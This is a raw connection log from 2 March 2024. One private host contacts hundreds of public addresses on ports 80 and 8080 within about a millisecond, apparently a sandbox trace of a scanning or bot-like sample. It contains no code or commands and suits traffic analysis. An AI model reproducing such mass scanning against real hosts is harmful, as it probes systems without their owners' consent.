Mar 2, 2024 12:36:51.809190989 CET	49158	8080	192.168.2.23	172.81.202.88
Mar 2, 2024 12:36:51.809190989 CET	49158	8080	192.168.2.23	172.91.192.153
Mar 2, 2024 12:36:51.809190989 CET	49158	8080	192.168.2.23	172.244.40.141
Mar 2, 2024 12:36:51.809190989 CET	49158	8080	192.168.2.23	172.93.122.123
Mar 2, 2024 12:36:51.809190989 CET	49158	8080	192.168.2.23	172.185.220.9
Mar 2, 2024 12:36:51.809197903 CET	49926	80	192.168.2.23	178.135.147.212
Mar 2, 2024 12:36:51.809200048 CET	49158	8080	192.168.2.23	184.217.5.191
Mar 2, 2024 12:36:51.809200048 CET	49926	80	192.168.2.23	178.170.254.52
Mar 2, 2024 12:36:51.809200048 CET	49158	8080	192.168.2.23	172.13.123.37
Mar 2, 2024 12:36:51.809201002 CET	49158	8080	192.168.2.23	184.63.123.96
Mar 2, 2024 12:36:51.809197903 CET	49926	80	192.168.2.23	178.168.56.99
Mar 2, 2024 12:36:51.809201956 CET	49158	8080	192.168.2.23	172.226.103.103
Mar 2, 2024 12:36:51.809205055 CET	49158	8080	192.168.2.23	184.38.22.4
Mar 2, 2024 12:36:51.809205055 CET	49926	80	192.168.2.23	178.234.65.63
Mar 2, 2024 12:36:51.809206963 CET	49158	8080	192.168.2.23	184.58.118.103
Mar 2, 2024 12:36:51.809206963 CET	49158	8080	192.168.2.23	172.74.9.6
Mar 2, 2024 12:36:51.809215069 CET	49926	80	192.168.2.23	178.234.16.153
Mar 2, 2024 12:36:51.809215069 CET	49158	8080	192.168.2.23	172.127.64.21
Mar 2, 2024 12:36:51.809215069 CET	49158	8080	192.168.2.23	172.216.8.75
Mar 2, 2024 12:36:51.809215069 CET	49926	80	192.168.2.23	178.79.2.171
Mar 2, 2024 12:36:51.809216022 CET	49926	80	192.168.2.23	178.94.100.238
Mar 2, 2024 12:36:51.809218884 CET	49158	8080	192.168.2.23	184.68.92.21
Mar 2, 2024 12:36:51.809218884 CET	49158	8080	192.168.2.23	172.66.143.110
Mar 2, 2024 12:36:51.809220076 CET	49158	8080	192.168.2.23	184.152.80.59
Mar 2, 2024 12:36:51.809220076 CET	49926	80	192.168.2.23	178.159.93.120
Mar 2, 2024 12:36:51.809236050 CET	49158	8080	192.168.2.23	184.230.130.237
Mar 2, 2024 12:36:51.809237003 CET	49158	8080	192.168.2.23	98.25.50.150
Mar 2, 2024 12:36:51.809243917 CET	49926	80	192.168.2.23	178.81.96.182
Mar 2, 2024 12:36:51.809247017 CET	49158	8080	192.168.2.23	172.135.247.229
Mar 2, 2024 12:36:51.809251070 CET	49158	8080	192.168.2.23	184.42.94.190
Mar 2, 2024 12:36:51.809251070 CET	49158	8080	192.168.2.23	184.134.60.238
Mar 2, 2024 12:36:51.809252977 CET	49158	8080	192.168.2.23	98.78.9.253
Mar 2, 2024 12:36:51.809252977 CET	49926	80	192.168.2.23	178.104.209.8
Mar 2, 2024 12:36:51.809257984 CET	49158	8080	192.168.2.23	184.183.33.73
Mar 2, 2024 12:36:51.809257984 CET	49158	8080	192.168.2.23	98.227.70.237
Mar 2, 2024 12:36:51.809257984 CET	49926	80	192.168.2.23	178.17.43.17
Mar 2, 2024 12:36:51.809257984 CET	49158	8080	192.168.2.23	172.240.243.137
Mar 2, 2024 12:36:51.809267044 CET	49158	8080	192.168.2.23	172.69.209.30
Mar 2, 2024 12:36:51.809267998 CET	49158	8080	192.168.2.23	172.177.197.244
Mar 2, 2024 12:36:51.809267998 CET	49926	80	192.168.2.23	178.89.162.187
Mar 2, 2024 12:36:51.809267998 CET	49158	8080	192.168.2.23	98.61.51.28
Mar 2, 2024 12:36:51.809267998 CET	49158	8080	192.168.2.23	184.0.45.79
Mar 2, 2024 12:36:51.809273005 CET	49158	8080	192.168.2.23	172.84.71.138
Mar 2, 2024 12:36:51.809273005 CET	49926	80	192.168.2.23	178.172.64.134
Mar 2, 2024 12:36:51.809273005 CET	49158	8080	192.168.2.23	172.239.177.62
Mar 2, 2024 12:36:51.809274912 CET	49158	8080	192.168.2.23	172.171.83.43
Mar 2, 2024 12:36:51.809277058 CET	49926	80	192.168.2.23	178.59.210.239
Mar 2, 2024 12:36:51.809273005 CET	49926	80	192.168.2.23	178.205.233.250
Mar 2, 2024 12:36:51.809277058 CET	49926	80	192.168.2.23	178.249.156.118
Mar 2, 2024 12:36:51.809283018 CET	49926	80	192.168.2.23	178.149.241.50
Mar 2, 2024 12:36:51.809289932 CET	49158	8080	192.168.2.23	98.20.145.43
Mar 2, 2024 12:36:51.809289932 CET	49926	80	192.168.2.23	178.9.232.53
Mar 2, 2024 12:36:51.809292078 CET	49158	8080	192.168.2.23	172.197.104.220
Mar 2, 2024 12:36:51.809292078 CET	49926	80	192.168.2.23	178.100.155.224
Mar 2, 2024 12:36:51.809293985 CET	49158	8080	192.168.2.23	172.17.221.47
Mar 2, 2024 12:36:51.809293985 CET	49158	8080	192.168.2.23	184.138.15.162
Mar 2, 2024 12:36:51.809293985 CET	49158	8080	192.168.2.23	172.162.206.162
Mar 2, 2024 12:36:51.809293985 CET	49158	8080	192.168.2.23	184.155.59.188
Mar 2, 2024 12:36:51.809293985 CET	49158	8080	192.168.2.23	98.180.191.61
Mar 2, 2024 12:36:51.809293985 CET	49158	8080	192.168.2.23	184.137.195.54
Mar 2, 2024 12:36:51.809293985 CET	49158	8080	192.168.2.23	98.138.189.29
Mar 2, 2024 12:36:51.809298038 CET	49926	80	192.168.2.23	178.139.21.148
Mar 2, 2024 12:36:51.809298038 CET	49158	8080	192.168.2.23	172.196.255.1
Mar 2, 2024 12:36:51.809298038 CET	49158	8080	192.168.2.23	184.183.199.110
Mar 2, 2024 12:36:51.809298992 CET	49158	8080	192.168.2.23	98.136.128.55
Mar 2, 2024 12:36:51.809298992 CET	49158	8080	192.168.2.23	172.69.42.78
Mar 2, 2024 12:36:51.809325933 CET	49158	8080	192.168.2.23	184.193.40.36
Mar 2, 2024 12:36:51.809325933 CET	49158	8080	192.168.2.23	172.25.158.115
Mar 2, 2024 12:36:51.809326887 CET	49158	8080	192.168.2.23	184.229.220.94
Mar 2, 2024 12:36:51.809326887 CET	49158	8080	192.168.2.23	98.142.90.87
Mar 2, 2024 12:36:51.809326887 CET	49158	8080	192.168.2.23	184.122.173.19
Mar 2, 2024 12:36:51.809326887 CET	49158	8080	192.168.2.23	98.184.16.66
Mar 2, 2024 12:36:51.809326887 CET	49158	8080	192.168.2.23	172.151.211.148
Mar 2, 2024 12:36:51.809330940 CET	49926	80	192.168.2.23	178.16.251.245
Mar 2, 2024 12:36:51.809330940 CET	49158	8080	192.168.2.23	98.167.50.209
Mar 2, 2024 12:36:51.809330940 CET	49158	8080	192.168.2.23	184.43.63.120
Mar 2, 2024 12:36:51.809334040 CET	49158	8080	192.168.2.23	98.147.185.123
Mar 2, 2024 12:36:51.809343100 CET	49926	80	192.168.2.23	178.59.5.79
Mar 2, 2024 12:36:51.809353113 CET	49926	80	192.168.2.23	178.125.93.181
Mar 2, 2024 12:36:51.809353113 CET	49158	8080	192.168.2.23	172.170.189.14
Mar 2, 2024 12:36:51.809353113 CET	49158	8080	192.168.2.23	172.229.47.145
Mar 2, 2024 12:36:51.809362888 CET	49158	8080	192.168.2.23	98.135.27.1
Mar 2, 2024 12:36:51.809362888 CET	49926	80	192.168.2.23	178.250.221.43
Mar 2, 2024 12:36:51.809362888 CET	49926	80	192.168.2.23	178.154.57.206
Mar 2, 2024 12:36:51.809362888 CET	49926	80	192.168.2.23	178.100.100.235
Mar 2, 2024 12:36:51.809365988 CET	49158	8080	192.168.2.23	98.109.208.222
Mar 2, 2024 12:36:51.809375048 CET	49158	8080	192.168.2.23	184.14.79.8
Mar 2, 2024 12:36:51.809375048 CET	49926	80	192.168.2.23	178.228.87.192
Mar 2, 2024 12:36:51.809375048 CET	49158	8080	192.168.2.23	172.240.36.121
Mar 2, 2024 12:36:51.809375048 CET	49158	8080	192.168.2.23	184.85.246.46
Mar 2, 2024 12:36:51.809375048 CET	49158	8080	192.168.2.23	184.67.178.100
Mar 2, 2024 12:36:51.809376001 CET	49158	8080	192.168.2.23	184.208.78.249
Mar 2, 2024 12:36:51.809376001 CET	49158	8080	192.168.2.23	172.41.173.36
Mar 2, 2024 12:36:51.809382915 CET	49158	8080	192.168.2.23	172.151.129.181
Mar 2, 2024 12:36:51.809390068 CET	49158	8080	192.168.2.23	184.12.126.100
Mar 2, 2024 12:36:51.809390068 CET	49926	80	192.168.2.23	178.182.180.180
Mar 2, 2024 12:36:51.809401035 CET	49158	8080	192.168.2.23	98.25.177.55
Mar 2, 2024 12:36:51.809401035 CET	49926	80	192.168.2.23	178.202.90.37
Mar 2, 2024 12:36:51.809401035 CET	49158	8080	192.168.2.23	98.141.191.43
Mar 2, 2024 12:36:51.809401035 CET	49158	8080	192.168.2.23	98.29.178.129
Mar 2, 2024 12:36:51.809405088 CET	49158	8080	192.168.2.23	98.235.103.178
Mar 2, 2024 12:36:51.809405088 CET	49158	8080	192.168.2.23	184.174.73.122
Mar 2, 2024 12:36:51.809407949 CET	49158	8080	192.168.2.23	98.155.75.6
Mar 2, 2024 12:36:51.809411049 CET	49926	80	192.168.2.23	178.136.77.184
Mar 2, 2024 12:36:51.809412956 CET	49926	80	192.168.2.23	178.180.123.131
Mar 2, 2024 12:36:51.809422016 CET	49158	8080	192.168.2.23	172.217.58.211
Mar 2, 2024 12:36:51.809422016 CET	49926	80	192.168.2.23	178.213.99.47
Mar 2, 2024 12:36:51.809426069 CET	49158	8080	192.168.2.23	172.248.86.45
Mar 2, 2024 12:36:51.809437037 CET	49158	8080	192.168.2.23	184.60.137.14
Mar 2, 2024 12:36:51.809438944 CET	49158	8080	192.168.2.23	98.209.234.108
Mar 2, 2024 12:36:51.809441090 CET	49158	8080	192.168.2.23	172.113.224.21
Mar 2, 2024 12:36:51.809441090 CET	49926	80	192.168.2.23	178.111.234.40
Mar 2, 2024 12:36:51.809442043 CET	49158	8080	192.168.2.23	98.125.171.182
Mar 2, 2024 12:36:51.809442997 CET	49158	8080	192.168.2.23	98.236.192.28
Mar 2, 2024 12:36:51.809442997 CET	49926	80	192.168.2.23	178.200.22.90
Mar 2, 2024 12:36:51.809442997 CET	49926	80	192.168.2.23	178.1.7.100
Mar 2, 2024 12:36:51.809442997 CET	49158	8080	192.168.2.23	184.85.74.7
Mar 2, 2024 12:36:51.809458017 CET	49926	80	192.168.2.23	178.94.168.165
Mar 2, 2024 12:36:51.809461117 CET	49158	8080	192.168.2.23	172.16.137.49
Mar 2, 2024 12:36:51.809463024 CET	49926	80	192.168.2.23	178.41.193.152
Mar 2, 2024 12:36:51.809464931 CET	49926	80	192.168.2.23	178.223.168.153
Mar 2, 2024 12:36:51.809464931 CET	49926	80	192.168.2.23	178.229.118.88
Mar 2, 2024 12:36:51.809465885 CET	49158	8080	192.168.2.23	184.25.239.125
Mar 2, 2024 12:36:51.809473991 CET	49158	8080	192.168.2.23	184.241.196.90
Mar 2, 2024 12:36:51.809478998 CET	49158	8080	192.168.2.23	184.191.87.114
Mar 2, 2024 12:36:51.809480906 CET	49926	80	192.168.2.23	178.163.115.19
Mar 2, 2024 12:36:51.809480906 CET	49158	8080	192.168.2.23	98.51.157.109
Mar 2, 2024 12:36:51.809480906 CET	49158	8080	192.168.2.23	184.50.203.228
Mar 2, 2024 12:36:51.809482098 CET	49158	8080	192.168.2.23	172.72.157.150
Mar 2, 2024 12:36:51.809480906 CET	49158	8080	192.168.2.23	172.87.214.109
Mar 2, 2024 12:36:51.809482098 CET	49926	80	192.168.2.23	178.63.192.152
Mar 2, 2024 12:36:51.809480906 CET	49158	8080	192.168.2.23	98.177.66.164
Mar 2, 2024 12:36:51.809480906 CET	49158	8080	192.168.2.23	172.20.133.189
Mar 2, 2024 12:36:51.809480906 CET	49158	8080	192.168.2.23	172.63.200.166
Mar 2, 2024 12:36:51.809483051 CET	49926	80	192.168.2.23	178.156.222.54
Mar 2, 2024 12:36:51.809483051 CET	49158	8080	192.168.2.23	98.159.167.3
Mar 2, 2024 12:36:51.809488058 CET	49158	8080	192.168.2.23	172.167.194.67
Mar 2, 2024 12:36:51.809492111 CET	49926	80	192.168.2.23	178.240.102.83
Mar 2, 2024 12:36:51.809493065 CET	49158	8080	192.168.2.23	98.141.115.172
Mar 2, 2024 12:36:51.809493065 CET	49158	8080	192.168.2.23	172.178.202.118
Mar 2, 2024 12:36:51.809493065 CET	49158	8080	192.168.2.23	184.75.124.111
Mar 2, 2024 12:36:51.809494019 CET	49158	8080	192.168.2.23	172.1.198.50
Mar 2, 2024 12:36:51.809498072 CET	49158	8080	192.168.2.23	98.16.191.109
Mar 2, 2024 12:36:51.809510946 CET	49158	8080	192.168.2.23	184.0.227.156
Mar 2, 2024 12:36:51.809519053 CET	49926	80	192.168.2.23	178.110.149.232
Mar 2, 2024 12:36:51.809520006 CET	49926	80	192.168.2.23	178.171.228.215
Mar 2, 2024 12:36:51.809519053 CET	49926	80	192.168.2.23	178.55.67.82
Mar 2, 2024 12:36:51.809520006 CET	49926	80	192.168.2.23	178.2.62.111
Mar 2, 2024 12:36:51.809526920 CET	49158	8080	192.168.2.23	98.73.251.181
Mar 2, 2024 12:36:51.809526920 CET	49158	8080	192.168.2.23	172.197.231.12
Mar 2, 2024 12:36:51.809530020 CET	49926	80	192.168.2.23	178.81.126.140
Mar 2, 2024 12:36:51.809533119 CET	49926	80	192.168.2.23	178.137.23.63
Mar 2, 2024 12:36:51.809554100 CET	49926	80	192.168.2.23	178.235.123.158
Mar 2, 2024 12:36:51.809554100 CET	49926	80	192.168.2.23	178.181.115.160
Mar 2, 2024 12:36:51.809556007 CET	49926	80	192.168.2.23	178.218.27.224
Mar 2, 2024 12:36:51.809559107 CET	49926	80	192.168.2.23	178.157.53.176
Mar 2, 2024 12:36:51.809562922 CET	49926	80	192.168.2.23	178.206.152.160
Mar 2, 2024 12:36:51.809568882 CET	49926	80	192.168.2.23	178.182.216.187
Mar 2, 2024 12:36:51.809580088 CET	49926	80	192.168.2.23	178.27.247.144
Mar 2, 2024 12:36:51.809580088 CET	49926	80	192.168.2.23	178.61.159.58
Mar 2, 2024 12:36:51.809585094 CET	49926	80	192.168.2.23	178.114.134.27
Mar 2, 2024 12:36:51.809593916 CET	49926	80	192.168.2.23	178.23.105.254
Mar 2, 2024 12:36:51.809628010 CET	49926	80	192.168.2.23	178.212.172.213
Mar 2, 2024 12:36:51.809628010 CET	49926	80	192.168.2.23	178.236.110.126
Mar 2, 2024 12:36:51.809628010 CET	49926	80	192.168.2.23	178.78.213.145
Mar 2, 2024 12:36:51.809643030 CET	49926	80	192.168.2.23	178.84.86.226
Mar 2, 2024 12:36:51.809644938 CET	49926	80	192.168.2.23	178.107.111.157
Mar 2, 2024 12:36:51.809648991 CET	49926	80	192.168.2.23	178.11.190.119
Mar 2, 2024 12:36:51.809662104 CET	49926	80	192.168.2.23	178.116.204.88
Mar 2, 2024 12:36:51.809662104 CET	49926	80	192.168.2.23	178.201.122.17
Mar 2, 2024 12:36:51.809680939 CET	49926	80	192.168.2.23	178.123.154.66
Mar 2, 2024 12:36:51.809689999 CET	49926	80	192.168.2.23	178.102.205.254
Mar 2, 2024 12:36:51.809700966 CET	49926	80	192.168.2.23	178.116.25.22
Mar 2, 2024 12:36:51.809709072 CET	49926	80	192.168.2.23	178.206.163.69
Mar 2, 2024 12:36:51.809746027 CET	49926	80	192.168.2.23	178.41.157.14
Mar 2, 2024 12:36:51.809751034 CET	49926	80	192.168.2.23	178.196.60.200
Mar 2, 2024 12:36:51.809762955 CET	49926	80	192.168.2.23	178.168.212.228
Mar 2, 2024 12:36:51.809765100 CET	49926	80	192.168.2.23	178.146.245.18
Mar 2, 2024 12:36:51.809777975 CET	49926	80	192.168.2.23	178.24.149.106
Mar 2, 2024 12:36:51.809787035 CET	49926	80	192.168.2.23	178.232.86.26
Mar 2, 2024 12:36:51.809792042 CET	49926	80	192.168.2.23	178.107.167.105
Mar 2, 2024 12:36:51.809812069 CET	49926	80	192.168.2.23	178.33.56.48
Mar 2, 2024 12:36:51.809813023 CET	49926	80	192.168.2.23	178.244.37.201
Mar 2, 2024 12:36:51.809832096 CET	49926	80	192.168.2.23	178.112.230.234
Mar 2, 2024 12:36:51.809832096 CET	49926	80	192.168.2.23	178.140.5.136
Mar 2, 2024 12:36:51.809844017 CET	49926	80	192.168.2.23	178.144.77.147
Mar 2, 2024 12:36:51.809859037 CET	49926	80	192.168.2.23	178.115.5.101
Mar 2, 2024 12:36:51.809861898 CET	49926	80	192.168.2.23	178.66.34.71
Mar 2, 2024 12:36:51.809863091 CET	49926	80	192.168.2.23	178.70.5.233
Mar 2, 2024 12:36:51.809865952 CET	49926	80	192.168.2.23	178.233.206.144
Mar 2, 2024 12:36:51.809874058 CET	49926	80	192.168.2.23	178.126.152.97
Mar 2, 2024 12:36:51.809892893 CET	49926	80	192.168.2.23	178.142.214.30
Mar 2, 2024 12:36:51.809895039 CET	49926	80	192.168.2.23	178.81.104.90
Mar 2, 2024 12:36:51.809897900 CET	49926	80	192.168.2.23	178.55.99.183
Mar 2, 2024 12:36:51.809904099 CET	49926	80	192.168.2.23	178.237.80.90
Mar 2, 2024 12:36:51.809920073 CET	49926	80	192.168.2.23	178.137.142.159
Mar 2, 2024 12:36:51.809920073 CET	49926	80	192.168.2.23	178.5.35.103
Mar 2, 2024 12:36:51.809920073 CET	49158	8080	192.168.2.23	172.85.163.237
Mar 2, 2024 12:36:51.809926987 CET	49158	8080	192.168.2.23	184.95.63.81
Mar 2, 2024 12:36:51.809927940 CET	49158	8080	192.168.2.23	98.187.192.35
Mar 2, 2024 12:36:51.809927940 CET	49926	80	192.168.2.23	178.11.4.130
Mar 2, 2024 12:36:51.809937000 CET	49926	80	192.168.2.23	178.80.152.32
Mar 2, 2024 12:36:51.809937954 CET	49926	80	192.168.2.23	178.150.135.103
Mar 2, 2024 12:36:51.809937000 CET	49158	8080	192.168.2.23	98.233.68.75
Mar 2, 2024 12:36:51.809937954 CET	49926	80	192.168.2.23	178.223.62.207
Mar 2, 2024 12:36:51.809947968 CET	49158	8080	192.168.2.23	172.148.24.87
Mar 2, 2024 12:36:51.809947968 CET	49926	80	192.168.2.23	178.24.219.216
Mar 2, 2024 12:36:51.809967041 CET	49158	8080	192.168.2.23	172.208.177.238
Mar 2, 2024 12:36:51.809969902 CET	49926	80	192.168.2.23	178.247.32.131
Mar 2, 2024 12:36:51.809971094 CET	49926	80	192.168.2.23	178.54.152.117
Mar 2, 2024 12:36:51.809978008 CET	49926	80	192.168.2.23	178.188.210.147
Mar 2, 2024 12:36:51.809977055 CET	49926	80	192.168.2.23	178.188.16.181
Mar 2, 2024 12:36:51.809978008 CET	49926	80	192.168.2.23	178.94.165.241
Mar 2, 2024 12:36:51.809978008 CET	49926	80	192.168.2.23	178.139.20.25
Mar 2, 2024 12:36:51.809977055 CET	49926	80	192.168.2.23	178.103.137.33
Mar 2, 2024 12:36:51.809979916 CET	49926	80	192.168.2.23	178.207.117.122
Mar 2, 2024 12:36:51.809998035 CET	49158	8080	192.168.2.23	98.93.64.202
Mar 2, 2024 12:36:51.810002089 CET	49158	8080	192.168.2.23	98.236.230.177
Mar 2, 2024 12:36:51.810003996 CET	49158	8080	192.168.2.23	184.98.117.90
Mar 2, 2024 12:36:51.810004950 CET	49926	80	192.168.2.23	178.89.81.178
Mar 2, 2024 12:36:51.810004950 CET	49926	80	192.168.2.23	178.24.201.148
Mar 2, 2024 12:36:51.810004950 CET	49158	8080	192.168.2.23	98.13.58.99
Mar 2, 2024 12:36:51.810004950 CET	49158	8080	192.168.2.23	98.114.27.187
Mar 2, 2024 12:36:51.810018063 CET	49158	8080	192.168.2.23	98.179.165.105
Mar 2, 2024 12:36:51.810018063 CET	49158	8080	192.168.2.23	98.41.18.53
Mar 2, 2024 12:36:51.810019970 CET	49926	80	192.168.2.23	178.138.218.6
Mar 2, 2024 12:36:51.810019970 CET	49926	80	192.168.2.23	178.155.236.184
Mar 2, 2024 12:36:51.810019970 CET	49158	8080	192.168.2.23	98.79.212.52
Mar 2, 2024 12:36:51.810019970 CET	49158	8080	192.168.2.23	184.239.42.218
Mar 2, 2024 12:36:51.810022116 CET	49158	8080	192.168.2.23	98.23.218.201
Mar 2, 2024 12:36:51.810022116 CET	49926	80	192.168.2.23	178.76.56.14
Mar 2, 2024 12:36:51.810022116 CET	49926	80	192.168.2.23	178.6.203.97
Mar 2, 2024 12:36:51.810020924 CET	49158	8080	192.168.2.23	98.90.83.126
Mar 2, 2024 12:36:51.810020924 CET	49158	8080	192.168.2.23	172.21.16.153
Mar 2, 2024 12:36:51.810020924 CET	49158	8080	192.168.2.23	98.58.18.207
Mar 2, 2024 12:36:51.810020924 CET	49158	8080	192.168.2.23	172.24.113.169
Mar 2, 2024 12:36:51.810029030 CET	49926	80	192.168.2.23	178.235.205.15
Mar 2, 2024 12:36:51.810029030 CET	49158	8080	192.168.2.23	98.47.10.48
Mar 2, 2024 12:36:51.810034037 CET	49158	8080	192.168.2.23	184.85.189.83
Mar 2, 2024 12:36:51.810034990 CET	49158	8080	192.168.2.23	184.73.71.212
Mar 2, 2024 12:36:51.810039043 CET	49926	80	192.168.2.23	178.133.17.136
Mar 2, 2024 12:36:51.810039043 CET	49158	8080	192.168.2.23	184.40.216.4
Mar 2, 2024 12:36:51.810039043 CET	49926	80	192.168.2.23	178.132.66.131
Mar 2, 2024 12:36:51.810044050 CET	49158	8080	192.168.2.23	172.142.104.230
Mar 2, 2024 12:36:51.810048103 CET	49926	80	192.168.2.23	178.87.192.247
Mar 2, 2024 12:36:51.810050964 CET	49926	80	192.168.2.23	178.18.25.26
Mar 2, 2024 12:36:51.810053110 CET	49158	8080	192.168.2.23	184.139.181.228
Mar 2, 2024 12:36:51.810066938 CET	49926	80	192.168.2.23	178.78.202.194
Mar 2, 2024 12:36:51.810069084 CET	49158	8080	192.168.2.23	184.190.126.168
Mar 2, 2024 12:36:51.810069084 CET	49158	8080	192.168.2.23	98.181.15.125
Mar 2, 2024 12:36:51.810070038 CET	49158	8080	192.168.2.23	98.235.211.216
Mar 2, 2024 12:36:51.810072899 CET	49926	80	192.168.2.23	178.216.191.239
Mar 2, 2024 12:36:51.810077906 CET	49926	80	192.168.2.23	178.94.249.130
Mar 2, 2024 12:36:51.810079098 CET	49926	80	192.168.2.23	178.229.244.103
Mar 2, 2024 12:36:51.810080051 CET	49926	80	192.168.2.23	178.220.210.102
Mar 2, 2024 12:36:51.810079098 CET	49926	80	192.168.2.23	178.18.28.10
Mar 2, 2024 12:36:51.810095072 CET	49926	80	192.168.2.23	178.138.207.68
Mar 2, 2024 12:36:51.810095072 CET	49158	8080	192.168.2.23	98.221.145.212
Mar 2, 2024 12:36:51.810098886 CET	49158	8080	192.168.2.23	184.26.105.246
Mar 2, 2024 12:36:51.810103893 CET	49158	8080	192.168.2.23	98.20.15.70
Mar 2, 2024 12:36:51.810103893 CET	49158	8080	192.168.2.23	172.182.216.50
Mar 2, 2024 12:36:51.810103893 CET	49158	8080	192.168.2.23	184.62.217.216
Mar 2, 2024 12:36:51.810106993 CET	49926	80	192.168.2.23	178.103.170.247
Mar 2, 2024 12:36:51.810107946 CET	49926	80	192.168.2.23	178.66.189.9
Mar 2, 2024 12:36:51.810108900 CET	49926	80	192.168.2.23	178.168.31.172
Mar 2, 2024 12:36:51.810107946 CET	49158	8080	192.168.2.23	184.188.87.7
Mar 2, 2024 12:36:51.810108900 CET	49158	8080	192.168.2.23	172.138.105.182
Mar 2, 2024 12:36:51.810120106 CET	49926	80	192.168.2.23	178.112.203.78
Mar 2, 2024 12:36:51.810122967 CET	49926	80	192.168.2.23	178.15.84.75
Mar 2, 2024 12:36:51.810126066 CET	49158	8080	192.168.2.23	184.12.174.64
Mar 2, 2024 12:36:51.810133934 CET	49158	8080	192.168.2.23	184.235.209.116
Mar 2, 2024 12:36:51.810139894 CET	49926	80	192.168.2.23	178.101.240.109
Mar 2, 2024 12:36:51.810139894 CET	49158	8080	192.168.2.23	98.40.241.78
Mar 2, 2024 12:36:51.810139894 CET	49158	8080	192.168.2.23	98.245.197.147
Mar 2, 2024 12:36:51.810139894 CET	49158	8080	192.168.2.23	172.241.99.151
Mar 2, 2024 12:36:51.810139894 CET	49158	8080	192.168.2.23	184.206.10.102
Mar 2, 2024 12:36:51.810143948 CET	49158	8080	192.168.2.23	98.180.53.102
Mar 2, 2024 12:36:51.810151100 CET	49158	8080	192.168.2.23	98.30.31.95
Mar 2, 2024 12:36:51.810151100 CET	49158	8080	192.168.2.23	172.61.38.46
Mar 2, 2024 12:36:51.810151100 CET	49926	80	192.168.2.23	178.61.191.79
Mar 2, 2024 12:36:51.810153008 CET	49158	8080	192.168.2.23	98.235.232.234
Mar 2, 2024 12:36:51.810159922 CET	49158	8080	192.168.2.23	172.245.68.147
Mar 2, 2024 12:36:51.810163975 CET	49158	8080	192.168.2.23	184.43.201.83
Mar 2, 2024 12:36:51.810163975 CET	49926	80	192.168.2.23	178.168.15.76
Mar 2, 2024 12:36:51.810163975 CET	49158	8080	192.168.2.23	172.129.134.107
Mar 2, 2024 12:36:51.810164928 CET	49926	80	192.168.2.23	178.161.227.60
Mar 2, 2024 12:36:51.810164928 CET	49158	8080	192.168.2.23	98.207.207.224
Mar 2, 2024 12:36:51.810164928 CET	49158	8080	192.168.2.23	172.37.248.14
Mar 2, 2024 12:36:51.810168982 CET	49926	80	192.168.2.23	178.185.84.183
Mar 2, 2024 12:36:51.810170889 CET	49158	8080	192.168.2.23	172.201.222.254
Mar 2, 2024 12:36:51.810170889 CET	49926	80	192.168.2.23	178.17.224.25
Mar 2, 2024 12:36:51.810172081 CET	49158	8080	192.168.2.23	172.111.98.158
Mar 2, 2024 12:36:51.810172081 CET	49158	8080	192.168.2.23	184.224.38.186
Mar 2, 2024 12:36:51.810177088 CET	49158	8080	192.168.2.23	172.14.191.26
Mar 2, 2024 12:36:51.810189009 CET	49158	8080	192.168.2.23	98.30.207.244
Mar 2, 2024 12:36:51.810189009 CET	49158	8080	192.168.2.23	172.83.120.110
Mar 2, 2024 12:36:51.810189962 CET	49926	80	192.168.2.23	178.144.247.170
Mar 2, 2024 12:36:51.810189962 CET	49926	80	192.168.2.23	178.242.38.132
Mar 2, 2024 12:36:51.810189962 CET	49158	8080	192.168.2.23	98.242.177.57
Mar 2, 2024 12:36:51.810192108 CET	49158	8080	192.168.2.23	172.220.219.55
Mar 2, 2024 12:36:51.810192108 CET	49926	80	192.168.2.23	178.83.163.221
Mar 2, 2024 12:36:51.810192108 CET	49158	8080	192.168.2.23	98.57.185.39
Mar 2, 2024 12:36:51.810198069 CET	49158	8080	192.168.2.23	184.95.143.97
Mar 2, 2024 12:36:51.810198069 CET	49158	8080	192.168.2.23	172.66.28.248
Mar 2, 2024 12:36:51.810204029 CET	49158	8080	192.168.2.23	172.161.55.83
Mar 2, 2024 12:36:51.810205936 CET	49158	8080	192.168.2.23	98.15.193.36
Mar 2, 2024 12:36:51.810206890 CET	49158	8080	192.168.2.23	98.249.80.159
Mar 2, 2024 12:36:51.810208082 CET	49926	80	192.168.2.23	178.71.54.119
Mar 2, 2024 12:36:51.810209990 CET	49158	8080	192.168.2.23	172.138.84.191
Mar 2, 2024 12:36:51.810220003 CET	49926	80	192.168.2.23	178.80.192.71
Mar 2, 2024 12:36:51.810224056 CET	49926	80	192.168.2.23	178.82.96.64
Mar 2, 2024 12:36:51.810226917 CET	49926	80	192.168.2.23	178.54.184.203
Mar 2, 2024 12:36:51.810226917 CET	49158	8080	192.168.2.23	98.219.8.213
Mar 2, 2024 12:36:51.810226917 CET	49158	8080	192.168.2.23	184.92.173.114
Mar 2, 2024 12:36:51.810226917 CET	49158	8080	192.168.2.23	98.161.129.45
Mar 2, 2024 12:36:51.810230970 CET	49158	8080	192.168.2.23	172.154.192.202
Mar 2, 2024 12:36:51.810230970 CET	49926	80	192.168.2.23	178.27.113.96
Mar 2, 2024 12:36:51.810231924 CET	49926	80	192.168.2.23	178.58.36.126
Mar 2, 2024 12:36:51.810230970 CET	49926	80	192.168.2.23	178.199.184.99
Mar 2, 2024 12:36:51.810231924 CET	49158	8080	192.168.2.23	172.65.164.196
Mar 2, 2024 12:36:51.810230970 CET	49158	8080	192.168.2.23	184.199.52.144
Mar 2, 2024 12:36:51.810231924 CET	49926	80	192.168.2.23	178.107.88.1
Mar 2, 2024 12:36:51.810231924 CET	49158	8080	192.168.2.23	172.88.65.114
Mar 2, 2024 12:36:51.810231924 CET	49158	8080	192.168.2.23	184.213.128.193
Mar 2, 2024 12:36:51.810235977 CET	49158	8080	192.168.2.23	172.60.60.3
Mar 2, 2024 12:36:51.810235977 CET	49158	8080	192.168.2.23	184.131.69.221
Mar 2, 2024 12:36:51.810235977 CET	49158	8080	192.168.2.23	98.99.178.163
Mar 2, 2024 12:36:51.810244083 CET	49926	80	192.168.2.23	178.183.97.206
Mar 2, 2024 12:36:51.810244083 CET	49158	8080	192.168.2.23	172.16.228.30
Mar 2, 2024 12:36:51.810244083 CET	49158	8080	192.168.2.23	184.240.237.107
Mar 2, 2024 12:36:51.810246944 CET	49926	80	192.168.2.23	178.25.58.157
Mar 2, 2024 12:36:51.810246944 CET	49158	8080	192.168.2.23	98.239.130.58
Mar 2, 2024 12:36:51.810249090 CET	49158	8080	192.168.2.23	172.1.148.249
Mar 2, 2024 12:36:51.810249090 CET	49158	8080	192.168.2.23	98.60.61.50
Mar 2, 2024 12:36:51.810250044 CET	49158	8080	192.168.2.23	184.175.166.144
Mar 2, 2024 12:36:51.810250044 CET	49158	8080	192.168.2.23	184.193.230.20
